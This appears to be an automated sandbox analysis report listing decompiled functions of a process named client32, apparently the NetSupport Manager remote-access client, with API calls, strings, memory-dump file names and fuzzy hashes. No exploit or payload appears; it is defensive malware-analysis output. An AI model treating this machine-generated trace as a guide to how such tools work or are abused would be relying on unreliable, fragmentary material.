APIs

Sleep.KERNEL32(000007D0,?,00000001,00000000,?,TerminateVistaUI), ref: 111079DC
EnterCriticalSection.KERNEL32(?,?,?,00000000,?,11107C7C,?,?,?,TerminateVistaUI), ref: 111079ED
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,11107C7C,?,?,?,TerminateVistaUI), ref: 11107A05
LeaveCriticalSection.KERNEL32(?,?,11107C7C,?,?,?,TerminateVistaUI), ref: 11107A12

Part of subcall function 110F5E90: WaitForSingleObject.KERNEL32(?,00000000,?,?,111079B5,?,TerminateVistaUI), ref: 110F5EA1
Part of subcall function 110F5E90: InterlockedExchange.KERNEL32(?,00000000), ref: 110F5EAD
Part of subcall function 110F5E90: CloseHandle.KERNEL32(00000000), ref: 110F5EB8
Part of subcall function 110F5E90: InterlockedIncrement.KERNEL32(111F05FC), ref: 110F5EE5

Strings

Warning. SendToVistaPipe no pipe, from=%s, xrefs: 111079A1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CritiusernterlockedSection$CloseEnterExchangeFileHandleIncrementLeaveObjectSingleSleepWaitWrite
String ID: Warning. SendToVistaPipe no pipe, from=%s
API String ID: 2034980497-1588131313
Opcode ID: 8791a8239dc897272c06ef7d45a1c05d26153b13ed1e30f7087315d541416186
Instruction ID: b576ba414e1e298cd3819816e1cc722d527cd760e4656e9653b3731492105499
Opcode Fuzzy Hash: 8791a8239dc897272c06ef7d45a1c05d26153b13ed1e30f7087315d541416186
Instruction Fuzzy Hash: 1301C071600759AFEB049FA4DC85EAAF3ADFB8872DF40452AF95687540D770AC40CB61

Function 110374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110374DE
wsprintfA.USER32 ref: 110374F2
SetDlgItemTextA.USER32(?,?,?), ref: 11037507

Strings

0%%, xrefs: 110374EC
%d%%, xrefs: 110374D8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ItemText
String ID: %d%%$0%%
API String ID: 3736328045-1572943365
Opcode ID: 1cbf6e26115518571587392b494dd67441ffe33dfc485d6b94f43bae65133930
Instruction ID: 2b1e674ca0a54edc907812ade49eb5592baca34932e185c63fa3aaecf06507b2
Opcode Fuzzy Hash: 1cbf6e26115518571587392b494dd67441ffe33dfc485d6b94f43bae65133930
Instruction Fuzzy Hash: 5F01D471A1061CAFC718DF75CD85EAAB7B9EB88209F408129E85597240EE31FD04C761

Function 111455C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11145440: _memset.LIBCMT ref: 11145485
Part of subcall function 11145440: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
Part of subcall function 11145440: LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
Part of subcall function 11145440: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
Part of subcall function 11145440: FreeLibrary.KERNEL32(00000000), ref: 111454EF
Part of subcall function 11145440: GetSystemDefaultLangID.KERNEL32 ref: 111454FA

GetSysColor.USER32(0000000F), ref: 111455D9
LoadBitmapA.USER32(00000000,00000000), ref: 111455EF
SendDlgItemMessageA.USER32(00000000,00003A97,00000172,00000000,00000000), ref: 1114562B

Strings

..\ctl32\util.cpp, xrefs: 11145609
hGrip || !"Unable to load sizing grip bitmap", xrefs: 1114560E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$AddressBitmapColorDefaultFreeItemLangMessageProcSendSystemVersion_memset
String ID: ..\ctl32\util.cpp$hGrip || !"Unable to load sizing grip bitmap"
API String ID: 1044520585-3315463184
Opcode ID: 6dab67b1f8d1b8d84d11e25cc4a1c1bf0e98613e631c68fda75dbc45b93d1bcc
Instruction ID: 4fd7b2c5b7bb95ac5b9160b37f44e12b5346297b3eaef3b7f99d0903c6763c9c
Opcode Fuzzy Hash: 6dab67b1f8d1b8d84d11e25cc4a1c1bf0e98613e631c68fda75dbc45b93d1bcc
Instruction Fuzzy Hash: 15F0BB36F4422533D61056B15C06FEBBB5C8B44B6DF044031FE28EAA81DD74990093E5

Function 11145570 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145440: _memset.LIBCMT ref: 11145485
Part of subcall function 11145440: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
Part of subcall function 11145440: LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
Part of subcall function 11145440: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
Part of subcall function 11145440: FreeLibrary.KERNEL32(00000000), ref: 111454EF
Part of subcall function 11145440: GetSystemDefaultLangID.KERNEL32 ref: 111454FA

LoadLibraryA.KERNEL32(gdi32.dll,?,7696CF90,?,11003CD2,00000000,00000008), ref: 11145585
GetProcAddress.KERNEL32(00000000,SetLayout), ref: 11145597
FreeLibrary.KERNEL32(00000000,?,11003CD2,00000000,00000008), ref: 111455AE

Strings

gdi32.dll, xrefs: 11145580
SetLayout, xrefs: 11145591

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc$DefaultLangSystemVersion_memset
String ID: SetLayout$gdi32.dll
API String ID: 796689547-836973393
Opcode ID: dde69b7c526af55e07beda9024ccb717cfe0bebca0ca4c8431e2c36867a1e5e3
Instruction ID: 180814c24cc9d0c6131e9c3ed620ec4cda32c211f2200629d3cd1894db3483c2
Opcode Fuzzy Hash: dde69b7c526af55e07beda9024ccb717cfe0bebca0ca4c8431e2c36867a1e5e3
Instruction Fuzzy Hash: 6CE0653A311124BBA70456769C489BFBB6EDBC99697154031FD28DBA00EB30D90246F1

Function 110BD710 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 110BD735
GetSubMenu.USER32(00000000,00000002), ref: 110BD74D
DrawMenuBar.USER32(00000000), ref: 110BD761

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110BD71F
m_hWnd, xrefs: 110BD724

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DrawErrorExitLastMessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 381722633-2830328467
Opcode ID: 2c46f38612fb75367a1df9c5075bbf601e14854f27eee6f1d6486de749529d1a
Instruction ID: 5bee606e9d84f23a63a2df4afa114ff91c2ff399d672ba80e4cf04cebf447206
Opcode Fuzzy Hash: 2c46f38612fb75367a1df9c5075bbf601e14854f27eee6f1d6486de749529d1a
Instruction Fuzzy Hash: 0BF0A739B50314ABC725DA749C98F9EF3A8BB8471CF04082DF12292580DB74B4458759

Function 110450BD Relevance: 7.9, APIs: 5, Instructions: 401COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 11045345
SysFreeString.OLEAUT32(?), ref: 110453E5
SysFreeString.OLEAUT32(?), ref: 110453F4
_memset.LIBCMT ref: 1104545F
SysFreeString.OLEAUT32(?), ref: 110454BA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeString$__wcsicoll_memset
String ID:
API String ID: 3719176846-0
Opcode ID: 441a99ce500d99f467cd7fd3aeec64a7d709f35996a15428944c20697e7ebd2f
Instruction ID: f73372903cd30c0382670b71593fb0b3797c4e2875fb117f6f51c869b4ccb2fb
Opcode Fuzzy Hash: 441a99ce500d99f467cd7fd3aeec64a7d709f35996a15428944c20697e7ebd2f
Instruction Fuzzy Hash: 53A10A75E006299FCB21CF59CC84ADEB7B9AF89305F2045D9E50DAB610DB32AE85CF50

Function 11045160 Relevance: 7.8, APIs: 5, Instructions: 258COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 11045345
SysFreeString.OLEAUT32(?), ref: 110453E5
SysFreeString.OLEAUT32(?), ref: 110453F4
_memset.LIBCMT ref: 1104545F
SysFreeString.OLEAUT32(?), ref: 110454BA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeString$__wcsicoll_memset
String ID:
API String ID: 3719176846-0
Opcode ID: 630363bdb13d22254993ecf68dacbf692c7bf3f03afba6e05313967c32aba816
Instruction ID: afd3f22c8fe7dd5f2f13fef18bd13733cf22d578236402d79b842a18f9b7ad91
Opcode Fuzzy Hash: 630363bdb13d22254993ecf68dacbf692c7bf3f03afba6e05313967c32aba816
Instruction Fuzzy Hash: E3A11871E006299FCB21DF59CC84ADEB7B9AF89305F2041D9E50DAB610DB32AE85CF50

Function 11165928 Relevance: 7.7, APIs: 5, Instructions: 160COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 11165983
_memcpy_s.LIBCMT ref: 111659F4
__read.LIBCMT ref: 11165A57
__filbuf.LIBCMT ref: 11165A73

Part of subcall function 111692EF: __getptd_noexit.LIBCMT ref: 111692EF

_memset.LIBCMT ref: 11165AB4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_memcpy_s
String ID:
API String ID: 4048096073-0
Opcode ID: 74278988d92a0981e88ab1d304f7346d2170d04ffe63c1026edbb1760bdfed18
Instruction ID: afac08f90629e30a7cffcb3f7cc11dd9a67156a1a1d83c27ab3f33a937463f4c
Opcode Fuzzy Hash: 74278988d92a0981e88ab1d304f7346d2170d04ffe63c1026edbb1760bdfed18
Instruction Fuzzy Hash: 1951D731E00306DFDB508FA5C98069EFBB9AF413A4F158269E86597290F7F29970CF51

Function 11065720 Relevance: 7.6, APIs: 5, Instructions: 125sleepCOMMON

Download Yara Rule

APIs

EndPagePrinter.WINSPOOL.DRV(?), ref: 110657F2
EndDocPrinter.WINSPOOL.DRV(?), ref: 110657F8
ClosePrinter.WINSPOOL.DRV(?,?), ref: 110657FE
CloseHandle.KERNEL32(?), ref: 11065806
Sleep.KERNEL32(000001F4), ref: 1106583A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Printer.$Close$HandlePageSleep
String ID:
API String ID: 2391129857-0
Opcode ID: b1bb8c1d5ba9991a9cd61f9f5830dcfcfd6faf83c7c2a0de74e0bd8fc72b6850
Instruction ID: 2188d8da6c3b50539d481e9d7151b6b6488d697895cb624f8313360327e1a8df
Opcode Fuzzy Hash: b1bb8c1d5ba9991a9cd61f9f5830dcfcfd6faf83c7c2a0de74e0bd8fc72b6850
Instruction Fuzzy Hash: 0D416D75E00705EFEB00DF64DC80B9EBBE9BF48399F1181A9D919AB281D775A940CF50

Function 110B3910 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 124COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000012,?,00000001,?), ref: 110B3A13
LeaveCriticalSection.KERNEL32 ref: 110B3A83

Strings

, xrefs: 110B3A26
xoffset=%d, yoffset=%d, xrefs: 110B39E2
8, xrefs: 110B3A47

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID: $8$xoffset=%d, yoffset=%d
API String ID: 3168844106-373005067
Opcode ID: cf0f5f12bababd7c73818f773dfd45466a6321e6dd973d90dccd5780fa010a61
Instruction ID: 13f5dbf056a5fff6eb7eb2ddb131ca7f79cbfefb462763ec63b32f60666cabc3
Opcode Fuzzy Hash: cf0f5f12bababd7c73818f773dfd45466a6321e6dd973d90dccd5780fa010a61
Instruction Fuzzy Hash: 0151F3B5E082499FDB50CFA8D480B9EBBF4FF88304F20856EE819A7240E7756901CF55

Function 1103D410 Relevance: 7.6, APIs: 5, Instructions: 109threadCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,110B7560,00000001,00000000,?,00000000,?,00000015,00000000), ref: 1103D4B2

Part of subcall function 110B42E0: InitializeCriticalSection.KERNEL32(0000002C,?,?,?,00000000,?,?,?,00000000,11184D46,000000FF), ref: 110B4365
Part of subcall function 110B42E0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,?,?,?,00000000,11184D46,000000FF), ref: 110B436F
Part of subcall function 110B42E0: GetVersion.KERNEL32(?,?,?,00000000,?,?,?,00000000,11184D46,000000FF), ref: 110B438A

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,59FD48C0,?,?,00000000,?,00000015,00000000), ref: 1103D51E
CreateThread.KERNEL32(00000000,00002000,11126510,?,00000000,?), ref: 1103D53A
CloseHandle.KERNEL32(00000000,?,00000015,00000000), ref: 1103D541
SetEvent.KERNEL32(?,59FD48C0,?,?,00000000,?,00000015,00000000), ref: 1103D581

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
